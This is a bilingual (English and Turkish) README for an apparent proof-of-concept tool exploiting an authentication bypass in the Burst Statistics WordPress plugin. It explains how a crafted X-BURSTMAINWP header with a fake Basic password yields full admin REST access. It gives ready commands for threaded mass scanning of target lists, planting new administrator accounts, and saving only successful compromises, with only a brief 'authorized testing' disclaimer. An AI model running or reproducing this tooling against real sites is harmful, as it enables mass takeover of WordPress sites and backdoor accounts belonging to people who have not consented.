murrez/cve-2026-8181CVE-2026-8181 PoC: Burst Statistics (3.4.0–3.4.1.1) authentication bypass. Python tool — single & multi-target scans, threaded workers, TXT reports. Authorized testing only. Maintainer: mürrez.
EN: Controlled PoC and brief technical notes for authorized security testing of the authentication bypass in Burst Statistics.
TR: Burst Statistics eklentisindeki kimlik doğrulama atlatası için yetkili güvenlik testi amaçlı kontrollü PoC ve kısa teknik özet.
Note: The 200,000+ active installs figure on WordPress.org is the entire user base of the plugin — it does not mean every site runs a vulnerable version. Real impact requires checking version + environment (HTTP / application-password availability, etc.).
Not: WordPress.org’daki 200.000+ aktif kurulum sayısı eklentinin tüm kullanıcı tabanıdır; sitelerin tamamının zafiyetli sürümde olduğu anlamına gelmez. Gerçek etki için sürüm + ortam (HTTP, uygulama parolası uygunluğu vb.) doğrulanmalıdır.
GitHub-flavored Markdown does not embed binary GIFs without a file in the repo. The Typing SVG snippets above (CDN) simulate motion. To add your own screen capture:
GitHub Markdown, repoda dosya olmadan GIF gömmeyi desteklemez. Üstteki Typing SVG (CDN) yazı animasyonu verir. Kendi demosun için:
flowchart LR
A[Client request] --> B[X-BURSTMAINWP: 1]
A --> C[Authorization: Basic]
B --> D[plugins_loaded]
D --> E[is_mainwp_authenticated]
E --> F{wp_authenticate_application_password == null?}
F -->|Mis-handled branch| G[get_user_by login]
G --> H[wp_set_current_user]
H --> I[REST: full admin context]
flowchart LR
A[İstek] --> B[X-BURSTMAINWP: 1]
A --> C[Authorization: Basic]
B --> D[plugins_loaded]
D --> E[is_mainwp_authenticated]
E --> F{wp_authenticate_application_password == null?}
F -->|Yanlış dal| G[get_user_by login]
G --> H[wp_set_current_user]
H --> I[REST: tam admin bağlamı]
With -f, -o and --output-dir are mutually exclusive.
-f modunda -o ile --output-dir aynı anda kullanılamaz.
pip3 install requests urllib3
# Single site, report file
python3 CVE-2026-8181.py -u http://lab.local -U admin -o report.txt -k
# Single site + new admin (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# Bulk + combined file (successes only)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# Bulk + per-host files in folder (successes only)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
# Tek site, rapor
python3 CVE-2026-8181.py -u http://lab.local -U admin -o sonuc.txt -k
# Tek site + yeni yönetici (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o sonuc.txt -k
# Çoklu + birleşik dosya (yalnızca başarılılar)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o basarili.txt -k
# Çoklu + klasörde site başına dosya (yalnızca başarılılar)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
Password: field / Boş parola satırıA successful bypass does not leak the victim user’s real password — the Basic password in the PoC is fake. The Password: line stays empty unless --create-user created a new account (then the generated password is written).
Başarılı bypass mevcut kullanıcının gerçek parolasını sızdırmaz — PoC’taki Basic parola sahtedir. Password: satırı --create-user ile yeni hesap oluşturulmadıkça boş kalır; oluşturulduysa üretilen şifre yazılır.
For written-authorized assessments and your own lab only. Unauthorized use is illegal in many jurisdictions. Authors and this README’s maintainer accept no liability for misuse.
Yazılı izinli değerlendirmeler ve kendi laboratuvarınız içindir. İzinsiz kullanım birçok ülkede yasadışıdır. Yazarlar ve bu README’nin düzenleyicisi kötüye kullanımdan sorumlu değildir.
| Field | Detail |
|---|
| What | Authentication bypass (CWE-287) in Burst Statistics: crafted headers can escalate REST requests to full admin context. |
| Versions | Vulnerable: 3.4.0, 3.4.1, 3.4.1.1 · Use: 3.4.2 or newer |
| Severity | CVSS ~9.8 (Critical); remote, unauthenticated in applicable conditions. |
| This repo | CVE-2026-8181.py — lab automation: single target, bulk list, thread pool, selective TXT output. |
| Alan | Detay |
|---|
| Ne | Burst Statistics için kimlik doğrulama atlatası (CWE-287). Özel başlıklar ile REST isteğinde tam yönetici bağlamı. |
| Sürüm | Etkilenir: 3.4.0, 3.4.1, 3.4.1.1 · Önerilir: 3.4.2 ve üzeri |
| Ciddiyet | CVSS ~9.8 (Critical); uygun koşullarda uzaktan ve kimlik gerektirmeden. |
| Bu depo | CVE-2026-8181.py — lab otomasyonu: tek hedef, liste taraması, iş parçacığı havuzu, seçici TXT çıktısı. |
| Feature | Description |
|---|
| Single target | -u base URL |
| Bulk targets | -f targets.txt (one URL per line; # comments) |
| Concurrency | -j N workers (capped) |
| Combined file | -o file.txt — with -f, only successful exploits are appended |
| Per-host files | --output-dir — only successes get host.txt (failures skipped) |
| New admin | --create-user — random user via REST (password then appears in report) |
| TLS (lab) | -k disables certificate verification (trusted labs only) |
| Özellik | Açıklama |
|---|
| Tek hedef | -u kök adres |
| Çoklu hedef | -f targets.txt (satır başına URL; # yorumu) |
| Paralellik | -j N işçi (üst sınırlı) |
| Tek dosya | -o dosya.txt — -f ile yalnızca başarılı exploit eklenir |
| Klasör çıktısı | --output-dir — sadece başarılılar host.txt alır |
| Yeni admin | --create-user — REST ile rastgele kullanıcı (şifre raporda) |
| TLS (lab) | -k sertifika doğrulamasını kapatır (yalnızca güvenilir lab) |